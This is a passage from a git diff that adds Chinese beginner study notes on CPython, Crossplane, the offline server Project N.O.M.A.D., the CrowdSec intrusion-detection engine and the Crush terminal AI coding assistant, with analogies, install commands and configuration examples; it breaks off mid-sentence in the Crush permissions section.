+## 常见误区
+
+1. **「Python 等于 CPython」**——语言是规范；MicroPython、PyPy 也是 Python，但行为细节可能不同
+2. **「多线程永远没用」**——I/O 等待会释放 GIL；`threading` 仍适合阻塞 I/O 与 GUI 回调
+3. **`.pyc` 是机器码」**——仍是字节码，需解释器执行；不是 CPU 直接跑的 native code
+4. **`del x` 立刻 free 内存」**——`del` 减少引用；回收时机取决于引用计数与 `gc`
+5. **「去掉 GIL 就自动快 N 倍」**——free-threaded 有锁与缓存竞争成本；需基准测试与实际版本验证
+
+## 学习路径建议
+
+1. **会用**：安装 Python 3.12+，熟悉 `venv`、`pip`、`python -m`
+2. **会读**：`dis.dis`、`inspect.getsource`、`-X importtime` 看导入耗时
+3. **会调**：`cProfile`、`tracemalloc`、`py-spy` 采样；理解 GIL 与 I/O
+4. **会挖**：读 `Objects/listobject.c`、`Python/ceval.c` 片段；配合 Anthony Shaw《CPython Internals》
+5. **会跟**：每年看 [What's New in Python](https://docs.python.org/3/whatsnew/) 与 3.11 特化解释器、3.13 free-threading 进展
+
+## 小结
+
+CPython 是 Python 生态的**默认运行时**：把你的源码经词法/语法分析、编译成字节码，再在**栈式虚拟机**里执行，用**引用计数 + 循环 GC** 管理对象，用 **GIL** 协调多线程。零基础记住一条链：**`.py` → AST → bytecode → `code object` → eval loop → `PyObject*`**。往上是 NumPy、Django、PyTorch；往下是 C API、解释器优化与 PEP 演进。把 CPython 当成「自带菜谱库、默认单灶火力的中央厨房」，学习曲线就会清晰很多。
diff --git a/src/content/docs/projects/crewai.md b/src/content/docs/projects/crewai.md
index 9570bf3e9..480d89b33 100644
--- a/src/content/docs/projects/crewai.md
+++ b/src/content/docs/projects/crewai.md
@@ -2,7 +2,7 @@
 title: 'CrewAI — 把多 Agent 编排做成"组团队"'
 来源: 'João Moura, "CrewAI: Framework for orchestrating role-playing, autonomous AI agents", 2023 起开源（GitHub: crewAIInc/crewAI）'
 日期: 2026-05-31
-子分类: 数据科学与 AI
+子分类: ai-infra
 分类: 机器学习
 难度: 入门
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/cri-o.md b/src/content/docs/projects/cri-o.md
index 88469b248..a48f7d896 100644
--- a/src/content/docs/projects/cri-o.md
+++ b/src/content/docs/projects/cri-o.md
@@ -2,7 +2,7 @@
 title: CRI-O — 只为 Kubernetes 而生的瘦身版容器运行时
 来源: CRI-O GitHub, https://github.com/cri-o/cri-o
 日期: 2026-05-31
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/crossplane.md b/src/content/docs/projects/crossplane.md
new file mode 100644
index 000000000..b75cbedbb
--- /dev/null
+++ b/src/content/docs/projects/crossplane.md
@@ -0,0 +1,277 @@
+---
+title: Crossplane 学习笔记
+来源: https://github.com/crossplane/crossplane
+日期: 2026-06-13
+分类: 基础设施
+子分类: cloud-native
+provenance: pipeline-v3
+---
+
+# Crossplane 学习笔记
+
+## 一、什么是 Crossplane？
+
+Crossplane 是 CNCF 毕业项目，运行在 Kubernetes 之上。它的核心使命只有一个：
+
+**让 Kubernetes 不仅能管理应用，还能管理一切基础设施。**
+
+## 二、日常类比：物业管理公司
+
+想象你住在一个大型小区：
+
+- **Kubernetes 本身**像是一个物业团队，能管理小区里的公共设施（水电、电梯、绿化），这些设施都在小区围墙内。
+- **但小区外的道路、自来水厂、电网**，Kubernetes 管不到。
+
+Crossplane 的作用就是：
+
+> 在物业公司内部成立一个"外包协调部门"。你告诉它"我要一个数据库"或"我要一台云服务器"，它就去联系外面的供应商（AWS、GCP、阿里云）帮你办妥，然后把结果登记到物业管理系统里。
+
+这样，物业经理（开发者）只需要说一句话，不需要亲自去自来水厂填表申请。
+
+## 三、核心概念
+
+### 3.1 资源层级关系
+
+```
+Composite Resource (XR)         →  你定义的"高级资源"，如 App、Database
+  └─ Composition               →  定义 XR 由哪些底层资源组成
+      └─ Managed Resource (MR) →  由 Provider 管理的云资源，如 S3 Bucket、RDS
+          └─ Provider          →  连接外部云 API 的插件
+```
+
+逐层拆解：
+
+1. **Provider（提供者）**：相当于"外包公司的业务员"。每个 Provider 对接一个云平台或服务，比如 AWS Provider 负责和 AWS API 对话。
+2. **Managed Resource（MR，托管资源）**：相当于"一张申请表"。比如 `Bucket` 类型的 MR 告诉 Crossplane："请在 AWS 上创建一个 S3 存储桶"。
+3. **Composite Resource Definition（XRD，复合资源定义）**：相当于"定义一种新的表单模板"。你定义 `App` 长什么样、有哪些字段。
+4. **Composite Resource（XR，复合资源）**：相当于"填好的表单"。比如 `kind: App` 的实例。
+5. **Composition（组合）**：相当于"表单处理规则"。告诉 Crossplane：当有人提交 `App` 表单时，需要创建哪些 MR、如何填充数据、如何把结果回写到 XR 的 status。
+
+### 3.2 关键术语速查
+
+| 术语 | 缩写 | 一句话解释 |
+|------|------|-----------|
+| Composite Resource | XR | 用户自定义的高级资源 |
+| Composite Resource Definition | XRD | 定义 XR 的 schema |
+| Managed Resource | MR | 由 Provider 管理的云资源 |
+| Composition | — | 定义 XR 如何被组合成 MR |
+| Provider | — | 对接外部云 API 的插件 |
+| Function | — | Composition 中的处理函数（v2 引入） |
+
+## 四、代码示例
+
+### 示例一：Composition — 一个 App 由 Deployment + Service 组成
+
+这是 Crossplane 最经典的使用场景。用户只需创建一个 `App`，Crossplane 自动创建对应的 Kubernetes Deployment 和 Service。
+
+**第一步：定义 XRD（表单模板）**
+
+```yaml
+apiVersion: apiextensions.crossplane.io/v2
+kind: CompositeResourceDefinition
+metadata:
+  name: apps.example.crossplane.io
+spec:
+  scope: Namespaced
+  group: example.crossplane.io
+  names:
+    kind: App
+    plural: apps
+  versions:
+  - name: v1
+    served: true
+    referenceable: true
+    schema:
+      openAPIV3Schema:
+        type: object
+        properties:
+          spec:
+            type: object
+            properties:
+              image:
+                description: 应用的容器镜像
+                type: string
+            required:
+            - image
+          status:
+            type: object
+            properties:
+              replicas:
+                description: 可用副本数
+                type: integer
+              address:
+                description: 服务的 ClusterIP
+                type: string
+```
+
+**第二步：定义 Composition（处理规则）**
+
+```yaml
+apiVersion: apiextensions.crossplane.io/v1
+kind: Composition
+metadata:
+  name: app-yaml
+spec:
+  compositeTypeRef:
+    apiVersion: example.crossplane.io/v1
+    kind: App
+  mode: Pipeline
+  pipeline:
+  - step: create-deployment-and-service
+    functionRef:
+      name: crossplane-contrib-function-patch-and-transform
+    input:
+      apiVersion: pt.fn.crossplane.io/v1beta1
+      kind: Resources
+      resources:
+      - name: deployment
+        base:
+          apiVersion: apps/v1
+          kind: Deployment
+          spec:
+            replicas: 2
+            template:
+              spec:
+                containers:
+                - name: app
+                  ports:
+                  - containerPort: 80
+        patches:
+        - type: FromCompositeFieldPath
+          fromFieldPath: spec.image
+          toFieldPath: spec.template.spec.containers[0].image
+        - type: FromCompositeFieldPath
+          fromFieldPath: metadata.name
+          toFieldPath: metadata.labels[example.crossplane.io/app]
+        - type: ToCompositeFieldPath
+          fromFieldPath: status.availableReplicas
+          toFieldPath: status.replicas
+        readinessChecks:
+        - type: MatchCondition
+          matchCondition:
+            type: Available
+            status: "True"
+      - name: service
+        base:
+          apiVersion: v1
+          kind: Service
+          spec:
+            ports:
+            - protocol: TCP
+              port: 8080
+              targetPort: 80
+        patches:
+        - type: FromCompositeFieldPath
+          fromFieldPath: metadata.name
+          toFieldPath: metadata.labels[example.crossplane.io/app]
+        - type: ToCompositeFieldPath
+          fromFieldPath: spec.clusterIP
+          toFieldPath: status.address
+```
+
+**第三步：用户使用**
+
+用户只需创建一个简单的 `App` 资源：
+
+```yaml
+apiVersion: example.crossplane.io/v1
+kind: App
+metadata:
+  name: my-app
+spec:
+  image: nginx
+```
+
+Crossplane 会自动创建 Deployment 和 Service，并把状态回写到 App 的 status 中。
+
+### 示例二：Managed Resource — 直接在 Kubernetes 中创建 AWS S3 Bucket
+
+这个示例展示了 Crossplane 的第二种用法：直接用 Kubernetes 管理云资源，不需要 Composition。
+
+**第一步：安装 Provider（AWS S3）**
+
+```yaml
+apiVersion: pkg.crossplane.io/v1
+kind: Provider
+metadata:
+  name: crossplane-contrib-provider-aws-s3
+spec:
+  package: xpkg.crossplane.io/crossplane-contrib/provider-aws-s3:v2.0.0
+```
+
+**第二步：配置凭证**
+
+```yaml
+apiVersion: aws.m.upbound.io/v1beta1
+kind: ClusterProviderConfig
+metadata:
+  name: default
+spec:
+  credentials:
+    source: Secret
+    secretRef:
+      namespace: crossplane-system
+      name: aws-secret
+      key: creds
+```
+
+**第三步：使用 Bucket 资源**
+
+```yaml
+apiVersion: s3.aws.m.upbound.io/v1beta1
+kind: Bucket
+metadata:
+  namespace: default
+  generateName: crossplane-bucket-
+spec:
+  forProvider:
+    region: us-east-2
+```
+
+创建这个资源后，Crossplane 会通过 AWS API 在 S3 上创建一个真实的存储桶。删除这个 Kubernetes 资源，S3 上的存储桶也会被自动清理。
+
+## 五、工作流程图解
+
+```
+用户创建 XR (App)
+    │
+    ▼
+Crossplane Controller 感知到变化
+    │
+    ▼
+调用 Composition 中的 Function
+    │
+    ▼
+Function 生成一组 Managed Resources (Deployment + Service)
+    │
+    ▼
+Crossplane 通过 Provider 创建这些 MR
+    │
+    ▼
+MR 的状态回写到 XR 的 status
+    │
+    ▼
+用户通过 kubectl get app 看到 READY=True
+```
+
+## 六、为什么需要 Crossplane？
+
+对比传统做法：
+
+| 场景 | 没有 Crossplane | 有 Crossplane |
+|------|----------------|--------------|
+| 创建数据库 | 去云控制台点选 / 写 Terraform | `kubectl apply db.yaml` |
+| 应用部署 | Helm chart 只管 Pod，DB 另外管 | 一个 XR 同时声明 App + DB |
+| 多环境部署 | 维护多套 Terraform 脚本 | 同一份 XR 在不同集群复用 |
+| 团队分工 | 开发要等运维开通资源 | 开发自服务，XR schema 即 API |
+
+核心价值一句话总结：
+
+> **把基础设施变成 Kubernetes 原生的 API。**
+
+## 七、学习资源
+
+- GitHub: https://github.com/crossplane/crossplane
+- 官方文档: https://docs.crossplane.io/
+- Slack: https://slack.crossplane.io
+- 当前最新版本: v2.3 (2026年5月发布)
diff --git a/src/content/docs/projects/crosstalk-solutions-project-nomad.md b/src/content/docs/projects/crosstalk-solutions-project-nomad.md
new file mode 100644
index 000000000..f3db5a8cb
--- /dev/null
+++ b/src/content/docs/projects/crosstalk-solutions-project-nomad.md
@@ -0,0 +1,169 @@
+---
+title: "Project N.O.M.A.D. —— 一台永不断网的离线知识生存电脑"
+来源: https://github.com/Crosstalk-Solutions/project-nomad
+日期: 2026-06-13
+分类: 其他
+子分类: 离线计算 / 知识基础设施
+provenance: pipeline-v3
+---
+
+# Project N.O.M.A.D. 零基础学习笔记
+
+## 一个日常类比
+
+想象你正在开车穿越戈壁，突然手机没信号了，电脑也连不上网。这时候你打开随身携带的一个小箱子，里面竟然有维基百科全书、可汗学院的课程、一个能跟你对话的 AI 助手，甚至还有离线地图和笔记工具。
+
+Project N.O.M.A.D.（全称：**N**ode for **O**ffline **M**edia, **A**rchives, and **D**ata）就是这样一个"箱子"——只不过它是一个可以部署在普通电脑上的服务器软件，把所有的知识工具打包在一起，**一旦安装就不需要互联网也能运行**。
+
+它叫 "NOMAD"，游牧民族的意思——带着它，走到哪，知识库就到哪。
+
+## 它到底是干什么的
+
+N.O.M.A.D. 的核心思路很简单：**用一个"指挥中心"（Command Center）统一管理一堆独立工具**。每个工具都是独立运行的（技术上叫 Docker 容器），但 N.O.M.A.D. 帮你把所有安装、配置、更新的事情都搞定了。
+
+你可以把它理解为一个"瑞士军刀"的服务器版本——不过这把刀上的每一把小工具都是功能强大的专业级应用。
+
+## 核心概念
+
+### 概念一：容器化编排（Container Orchestration）
+
+N.O.M.A.D. 本身不直接提供维基百科或 AI 对话功能。它管理的是其他软件——比如 Kiwix（离线维基百科）、Ollama（本地 AI 模型）、Kolibri（在线教育平台）等。
+
+这些软件被打包在 **Docker 容器**里运行。容器就像一个个独立的"小房间"，每个房间住着一个工具，互不干扰，又可以通过统一的门（Command Center）进入。
+
+### 概念二：离线优先（Offline-First）
+
+N.O.M.A.D. 的设计原则是：**安装时可能需要网络，装好之后永远不需要**。所有数据都存在本地硬盘上。没有内置的遥测（telemetry），不会把你使用时的任何数据上传到服务器。
+
+### 概念三：Command Center 架构
+
+N.O.M.A.D. 由两部分组成：
+
+1. **Command Center** —— 管理界面，一个基于 Web 的控制台，运行在 `localhost:8080`。你可以在这里安装/卸载工具、管理内容、查看系统状态。
+2. **服务应用** —— 各种独立工具，比如 AI 聊天、离线百科、教育平台等，各自运行在独立的容器里。
+
+## 内置的工具箱
+
+| 功能 | 使用什么技术 | 你能用它做什么 |
+|------|------------|--------------|
+| 离线资料库 | Kiwix | 访问离线维基百科、医学参考书、生存指南、电子书 |
+| AI 助手 | Ollama + Qdrant | 和本地 AI 聊天，上传文档做语义搜索（RAG） |
+| 教育平台 | Kolibri | 可汗学院课程，支持进度追踪和多用户 |
+| 离线地图 | ProtoMaps | 下载区域地图，离线搜索和导航 |
+| 数据工具 | CyberChef | 加密、编码、哈希计算、数据分析 |
+| 笔记 | FlatNotes | 本地笔记，支持 Markdown |
+| 系统评测 | 内置 | 给你的硬件打分数，还能上社区排行榜 |
+
+## 代码示例
+
+### 示例一：一键安装（终端命令）
+
+N.O.M.A.D. 提供了非常简单的一键安装脚本。以下是在 Ubuntu（Debian 系统）上的安装命令：
+
+```bash
+sudo apt-get update && \
+sudo apt-get install -y curl && \
+curl -fsSL https://raw.githubusercontent.com/Crosstalk-Solutions/project-nomad/refs/heads/main/install/install_nomad.sh \
+  -o install_nomad.sh && \
+sudo bash install_nomad.sh
+```
+
+这段命令做了三件事：
+
+1. `apt-get update` —— 更新系统软件包列表
+2. `curl ...` —— 从 GitHub 下载 N.O.M.A.D. 的安装脚本
+3. `sudo bash install_nomad.sh` —— 以管理员权限运行安装脚本
+
+安装完成后，打开浏览器访问 `http://localhost:8080` 就能看到 N.O.M.A.D. 的管理界面了。
+
+### 示例二：Docker Compose 自定义部署（进阶）
+
+如果你想要更多控制（比如指定端口、自定义存储位置），可以用 Docker Compose 方式部署。先下载模板：
+
+```yaml
+# docker-compose.yml
+services:
+  nomad-command-center:
+    image: crosstalksolutions/project-nomad:latest
+    container_name: nomad-command-center
+    ports:
+      - "8080:8080"
+    volumes:
+      - ./nomad-data:/opt/project-nomad/data
+      - /var/run/docker.sock:/var/run/docker.sock
+    restart: unless-stopped
+```
+
+然后用这条命令启动：
+
+```bash
+docker compose up -d
+```
+
+这个配置文件做了这几件事：
+
+- `ports: "8080:8080"` —— 把容器的 8080 端口映射到主机的 8080 端口，这样你才能在浏览器访问
+- `volumes` —— 把容器里的数据持久化到主机上，容器重启后数据不会丢
+- `restart: unless-stopped` —— 如果电脑重启，N.O.M.A.D. 会自动重新启动
+
+### 示例三：常用维护命令
+
+安装完成后，N.O.M.A.D. 会留下一组辅助脚本，放在 `/opt/project-nomad/` 目录下：
+
+```bash
+# 启动所有服务
+sudo bash /opt/project-nomad/start_nomad.sh
+
+# 停止所有服务
+sudo bash /opt/project-nomad/stop_nomad.sh
+
+# 更新 Command Center（不包含已安装的应用）
+sudo bash /opt/project-nomad/update_nomad.sh
+
+# 完全卸载（不可逆！）
+curl -fsSL https://raw.githubusercontent.com/Crosstalk-Solutions/project-nomad/refs/heads/main/install/uninstall_nomad.sh \
+  -o uninstall_nomad.sh && sudo bash uninstall_nomad.sh
+```
+
+## N.O.M.A.D. 的"灵魂"——AI 聊天功能
+
+在所有工具中，最值得关注的是 **AI 聊天功能**。它由两部分组成：
+
+- **Ollama** —— 在本地电脑上运行大语言模型（不需要联网），你可以选择不同大小的模型（比如 7B、13B、70B 参数）
+- **Qdrant** —— 一个向量数据库，用来做语义搜索。简单说，就是你可以上传 PDF、文档，然后问 AI"关于 xxx 文档说了什么"，它能从你的文档里找到相关内容再回答（这就是 RAG 技术）
+
+这意味着你有一个**完全私密的 AI 助手**——你的对话不会被传到云端，你的文档不会被上传到任何服务器。所有计算都在你自己的电脑上完成。
+
+## 硬件要求
+
+N.O.M.A.D. 本身非常轻量：
+
+- **最低配置**：双核 CPU、4GB 内存、5GB 硬盘
+- **推荐配置**（含 AI）：i7 或 R7、32GB 内存、NVIDIA RTX 3060 以上显卡、250GB SSD
+
+如果你只想用离线百科和教育功能，最低配置就够了。但如果想跑 AI 模型，就需要更强的硬件（特别是显卡的显存要够大）。
+
+## 安全注意事项
+
+N.O.M.A.D. **默认没有用户认证**——任何能访问那个地址的人都能使用所有功能。所以：
+
+- 只在本地访问（`localhost`）没问题
+- 如果想让局域网其他设备也能访问，建议用防火墙控制端口
+- **不要直接暴露到公网**
+
+项目方表示未来可能会加入用户认证功能（比如家长控制、教室管理员等场景），但目前还没有排上优先级。
+
+## 总结
+
+N.O.M.A.D. 解决了两个核心问题：
+
+1. **知识断供** —— 在网络不可靠或完全断网的地区，依然能获取高质量的教育资源和知识
+2. **隐私保护** —— 所有数据本地运行，不上传任何信息
+
+它就像一个知识版的"末日生存箱"，只不过这个"末日"可能只是出差时的飞机上，或者停电时的房间里。
+
+**一行记住它**：N.O.M.A.D. 就是一台能装进电脑口袋的离线百科全书 + AI 助手 + 教育平台。
+
+---
+
+> **延伸思考**：N.O.M.A.D. 的"容器编排 + 离线优先"思路，其实可以借鉴到很多场景——比如野外医疗点的知识库、灾难应急指挥中心、甚至太空任务中的本地信息服务。它不只是个工具，更是一种"在任何地方都能获取知识"的基础设施哲学。
diff --git a/src/content/docs/projects/crowdsec.md b/src/content/docs/projects/crowdsec.md
new file mode 100644
index 000000000..f620c04f9
--- /dev/null
+++ b/src/content/docs/projects/crowdsec.md
@@ -0,0 +1,151 @@
+---
+title: CrowdSec — 从社区共享中学习如何保护服务器
+来源: https://github.com/crowdsecurity/crowdsec
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+# CrowdSec — 从社区共享中学习如何保护服务器
+
+## 日常类比：小区保安联防
+
+想象你住在一个大小区里。以前每个楼的保安只盯着自己楼栋——302 被盗了，只有 3 楼知道小偷长什么样。
+
+CrowdSec 的做法是：所有小区的保安共用一个"可疑人员名单"。你家楼下的保安发现有人在深夜反复按错门（像是撞门），他会把这个人的特征登记下来并传给整个联盟。隔壁小区的保安第二天就收到通知："注意，这种人可能想撞门"，即使他们自己还没遇到过。
+
+这就是 CrowdSec 的核心思想：**检测 + 共享 + 防御**。
+
+## 一句话定义
+
+CrowdSec 是一个开源的、轻量级的**入侵检测与响应引擎**（IDS）。它分析服务器日志和 HTTP 请求，发现攻击行为，然后自动封禁恶意 IP，同时从社区共享其他服务器遭遇的攻击情报。
+
+## 核心概念
+
+### 1. Security Engine（安全引擎）
+
+Security Engine 是你安装在服务器上的软件本体，相当于小区的"监控系统 + 保安队长"。它内部有两个关键组件：
+
+- **Log Processor（日志处理器）**：读取你的服务日志（比如 Nginx 访问日志、SSH 认证日志），分析每一行内容，看有没有可疑行为。
+- **Local API（本地 API）**：存储检测到的告警，并根据预设规则决定如何处理（比如封禁多长时间）。
+
+### 2. Collections（集合）
+
+集合是检测内容的打包单位。一个集合通常包含：
+
+- **Parsers（解析器）**：教 CrowdSec 如何读懂某种日志格式。
+- **Scenarios（场景）**：定义什么样的行为算攻击。比如"1 分钟内同一 IP 失败登录超过 5 次"就是一个场景。
+
+你可以从 CrowdSec Hub 安装别人写好的集合，也可以自己写。
+
+### 3. Alerts & Decisions（告警与处置）
+
+这个流程是 CrowdSec 的核心链路：
+
+> 日志被采集 → 解析器提取字段 → 场景匹配到攻击模式 → 产生 Alert → Local API 根据 Profile 生成 Decision（如 ban）→ Bouncer 执行封禁
+
+### 4. Bouncers（执行器 / 保安）
+
+Bouncer 是实际执行封禁动作的外部组件。它可以：
+
+- 在你的防火墙规则里加一条（iptables nftables）
+- 在 Nginx / Apache 里返回 403
+- 在 CDN 层面拦截
+
+它从 Local API 拉取决策列表，然后在你的网络边界实际挡住恶意 IP。
+
+### 5. Central API & Community Blocklist（中央 API 与社区黑名单）
+
+这是 CrowdSec 最聪明的地方。每台安装了 CrowdSec 的服务器都是"参与者"——你把检测到的攻击信号匿名上报到 Central API，作为回报，你从中央拉取其他所有人已经验证过的恶意 IP 列表（Community Blocklist）。
+
+这意味着：**即使你的服务器什么都没检测到，你也在受到保护**——因为别人已经替你发现并记录了这些威胁。
+
+## cscli 命令行工具
+
+`cscli` 是你管理 CrowdSec 的主要工具。下面来看两个最常见的操作。
+
+### 示例 1：安装检测集合 + 安装 Bouncer
+
+```bash
+# 安装检测集合（比如 Linux 服务器的 SSH 暴力破解检测 + Nginx Web 攻击检测）
+sudo cscli collections add crowdsecurity/linux
+sudo cscli collections add crowdsecurity/nginx
+
+# 安装 Bouncer（用 iptables 来封禁恶意 IP）
+sudo cscli bouncers add my-iptables-bouncer --api-key <API_KEY>
+```
+
+安装 `crowdsecurity/linux` 集合后，CrowdSec 会自动获得：
+
+- 一组解析器，能读懂 auth.log、syslog、apt 日志等
+- 几十个场景，覆盖 SSH 暴力破解、端口扫描、cron 异常等常见攻击
+
+### 示例 2：查看告警、手动处置与解除封禁
+
+```bash
+# 查看最近产生的所有告警
+cscli alerts list -o json
+
+# 手动封禁某个 IP（绕过场景规则，直接 ban）
+cscli decisions add --type ban --duration 24h --value 192.168.1.100
+
+# 解除封禁
+cscli decisions delete --value 192.168.1.100
+
+# 把某个 IP 加入白名单（永远不封它）
+cscli allowlists add --value 10.0.0.1
+```
+
+### 示例 3：模拟模式（在正式启用前先测试）
+
+模拟模式让 CrowdSec 只检测不封禁，相当于"旁路观察"：
+
+```bash
+# 开启模拟模式（只记录告警，不产生 ban 决策）
+cscli simulation add -i 0.0.0.0/0
+
+# 查看模拟状态
+cscli simulation list
+```
+
+这在刚安装 CrowdSec 时特别有用——你可以先观察它检测到了什么，确认没有误报后再正式启用封禁。
+
+## 典型部署架构
+
+单台服务器（最简单）：
+
+```
+[系统日志 / Nginx] → Log Processor → Local API → Bouncer (iptables)
+                         ↑
+                   Central API (上传/下载黑名单)
+```
+
+多机分布式（大型部署）：
+
+```
+[多台机器的 LP] →→ [共享的 LAPI] →→ [Bouncers]
+                     ↑
+               Central API
+```
+
+Log Processor 负责检测，Local API 负责存储和决策，Bouncer 负责执行——三者可以放在同一台机器，也可以分开部署。
+
+## 为什么值得了解
+
+| 传统防火墙 / 静态规则 | CrowdSec |
+|---|---|
+| 规则需要自己维护更新 | 社区共享，自动更新 |
+| 只能匹配已知规则 | 通过行为分析发现未知攻击模式 |
+| 每台机器独立判断 | 全网协作，一人发现大家受益 |
+| 被动防御 | 主动学习和共享 |
+
+作为安全领域的入门工具，CrowdSec 的学习曲线很平缓：安装 → 装集合 → 开模拟模式观察 → 调整 → 正式启用。整个过程不需要你是安全专家。
+
+## 参考
+
+- 项目主页：https://github.com/crowdsecurity/crowdsec
+- 官方文档：https://docs.crowdsec.net
+- 检测内容市场（Hub）：https://hub.crowdsec.net
+- 在线管理平台（Console）：https://app.crowdsec.net
+- 社区 Discord：https://discord.gg/crowdsec
diff --git a/src/content/docs/projects/crush-charm-cli.md b/src/content/docs/projects/crush-charm-cli.md
new file mode 100644
index 000000000..694f8580d
--- /dev/null
+++ b/src/content/docs/projects/crush-charm-cli.md
@@ -0,0 +1,356 @@
+---
+title: Crush — 终端里的 AI 编程搭档
+来源: https://github.com/charmbracelet/crush
+日期: 2026-06-13
+分类: Agent
+子分类: 智能体与 LLM
+provenance: pipeline-v3
+---
+
+# Crush — 终端里的 AI 编程搭档
+
+## 这是什么
+
+Crush 是 [Charm](https://charm.land) 团队开发的一款 **终端 AI 编程助手**。
+
+用日常的话说：它就像在你终端里坐了一个 AI 程序员搭档——你能看到它在读什么文件、改什么代码、跑什么命令，你随时可以点头或叫停。
+
+Charm 团队之前做过很多有名的终端工具，比如 `bubbletea`（TUI 框架）、`lipgloss`（终端样式库）、`hugo`（虽不是他们做的但同生态）。Crush 是他们把"漂亮终端体验"和"AI 编程能力"结合的作品。
+
+- Stars: 25k+
+- 语言: Go (98.4%)
+- 最新 Tag: v0.76.0 (2026-06-05)
+
+## 核心概念
+
+### 1. 会话（Session）
+
+Crush 的工作单位是 **会话**。每个项目可以有多个会话，每个会话保持独立的对话上下文。
+
+类比：就像一个项目有多个"工作线程"——你在一个会话里让 Crush 修复 bug，在另一个会话里让它加新功能，互不干扰。
+
+### 2. Provider（模型提供商）
+
+Crush 不绑定某个特定 AI 模型。它支持：
+
+- OpenAI（GPT-4、o 系列等）
+- Anthropic（Claude 系列）
+- Google Gemini
+- Ollama（本地模型）
+- 以及任何 OpenAI/Anthropic 兼容的 API
+
+这意味着你可以"中途换模型"——比如先用 Claude 做架构设计，再切到 GPT-4 写代码。
+
+### 3. LSP 增强
+
+Crush 能接入你项目的 **LSP**（Language Server Protocol），就像 VS Code 那样。这让 AI 能理解你的代码结构——知道函数定义在哪、依赖关系如何。
+
+类比：普通 AI 编程助手像是"只看文件内容的读者"，加了 LSP 的 Crush 像是"懂代码结构的程序员"。
+
+### 4. MCP（Model Context Protocol）
+
+MCP 是 Anthropic 提出的一个协议，让 AI 能安全地调用外部工具。Crush 支持三种传输方式：
+
+- **stdio** — 本地命令行工具（比如文件系统操作）
+- **HTTP** — 远程 HTTP 服务（比如 GitHub API）
+- **SSE** — Server-Sent Events（实时数据流）
+
+类比：MCP 就像给 AI 配了一套"工具箱"——它能读写文件、查 GitHub issue、调 API，但每项操作都需要你批准。
+
+### 5. Skills（技能包）
+
+Crush 支持 [Agent Skills](https://agentskills.io) 标准——用 `SKILL.md` 文件定义可复用的能力模块。
+
+类比：就像手机的"快捷指令"或 Chrome 的"扩展"——你可以装社区技能，也可以自己写。
+
+### 6. 权限控制
+
+默认情况下，Crush 每次要执行命令或修改文件前都会 **问你**。你可以：
+
+- 逐条批准（默认安全模式）
+- 白名单某些工具（比如只允许 `view`、`ls`、`grep`）
+- 用 `--yolo` 跳过所有确认（不推荐新手使用）
+
+## 安装
+
+```bash
+# Homebrew (macOS / Linux)
+brew install charmbracelet/tap/crush
+
+# 或者用 Go 直接装
+go install github.com/charmbracelet/crush@latest
+
+# NPM
+npm install -g @charmland/crush
+```
+
+安装完后，直接跑 `crush` 就行——它会提示你输入 API Key。
+
+## 快速上手
+
+### 第一步：设置 API Key
+
+```bash
+crush
+```
+
+首次运行时，Crush 会进入交互式配置流程，让你选择模型提供商并输入 API Key。
+
+支持的 Key 环境变量：
+
+| 环境变量 | 提供商 |
+|---|---|
+| `ANTHROPIC_API_KEY` | Anthropic (Claude) |
+| `OPENAI_API_KEY` | OpenAI (GPT) |
+| `GEMINI_API_KEY` | Google Gemini |
+| `OPENROUTER_API_KEY` | OpenRouter (多模型) |
+| `HF_TOKEN` | Hugging Face |
+| `GROQ_API_KEY` | Groq |
+
+你也可以先不设，Crush 会交互式让你输入。
+
+### 第二步：开始对话
+
+进入 Crush 的 TUI（终端用户界面）后，直接在底部输入框打字就行：
+
+```
+给这个项目加一个健康检查端点
+```
+
+Crush 会：
+
+1. 先读你的项目文件，理解代码结构
+2. 可能问你几个澄清问题
+3. 然后开始修改代码
+4. 每步操作都显示给你看，等你确认
+
+### 第三步：切换模型
+
+在 TUI 的会话管理器里（通常是侧边栏），可以随时切换不同的模型提供商，上下文会保留。
+
+## 配置
+
+Crush 的配置是一个 JSON 文件，优先级从高到低：
+
+1. `.crush.json` — 项目级配置（推荐）
+2. `crush.json` — 项目级（备用名）
+3. `~/.config/crush/crush.json` — 全局配置
+
+### 示例 1：配置 OpenAI 提供商
+
+`.crush.json`：
+
+```json
+{
+  "$schema": "https://charm.land/crush.json",
+  "providers": {
+    "openai": {
+      "id": "openai",
+      "name": "OpenAI",
+      "base_url": "https://api.openai.com/v1",
+      "type": "openai",
+      "api_key": "$OPENAI_API_KEY",
+      "models": [
+        {
+          "id": "gpt-4o",
+          "name": "GPT-4o"
+        },
+        {
+          "id": "gpt-4o-mini",
+          "name": "GPT-4o Mini"
+        }
+      ]
+    }
+  }
+}
+```
+
+注意 `"$OPENAI_API_KEY"` — Crush 会自动从环境变量取值，不需要把密钥写死在配置文件里。
+
+### 示例 2：配置 LSP
+
+`.crush.json`：
+
+```json
+{
+  "$schema": "https://charm.land/crush.json",
+  "lsp": {
+    "go": {
+      "command": "gopls"
+    },
+    "typescript": {
+      "command": "typescript-language-server",
+      "args": ["--stdio"]
+    },
+    "python": {
+      "command": "pyright-langserver",
+      "args": ["--stdio"]
+    }
+  }
+}
+```
+
+配置后，Crush 在分析 Go、TypeScript、Python 项目时会调用对应的 LSP，获得代码定义、引用、类型推断等上下文。
+
+### 示例 3：配置 MCP 服务器
+
+`.crush.json`：
+
+```json
+{
+  "$schema": "https://charm.land/crush.json",
+  "mcp": {
+    "filesystem": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/workspace"],
+      "timeout": 120
+    },
+    "github": {
+      "type": "http",
+      "url": "https://api.githubcopilot.com/mcp/",
+      "timeout": 120,
+      "headers": {
+        "Authorization": "Bearer $GH_PAT"
+      }
+    }
+  }
+}
+```
+
+这里配了两个 MCP 工具：
+- **filesystem** — 让 AI 能读写文件系统
+- **github** — 让 AI 能操作 GitHub（创建 issue、PR 等）
+
+### 示例 4：权限控制
+
+`.crush.json`：
+
+```json
+{
+  "$schema": "https://charm.land/crush.json",
+  "permissions": {
+    "allowed_tools": [
+      "view",
+      "ls",
+      "grep",
+      "edit"
+    ]
+  },
+  "options": {
+    "disabled_tools": ["bash"],
+    "attribution": {
+      "trailer_style": "co-authored-by",
+      "generated_with": true
+    }
+  }
+}
+```
+
+这段配置的意思是：
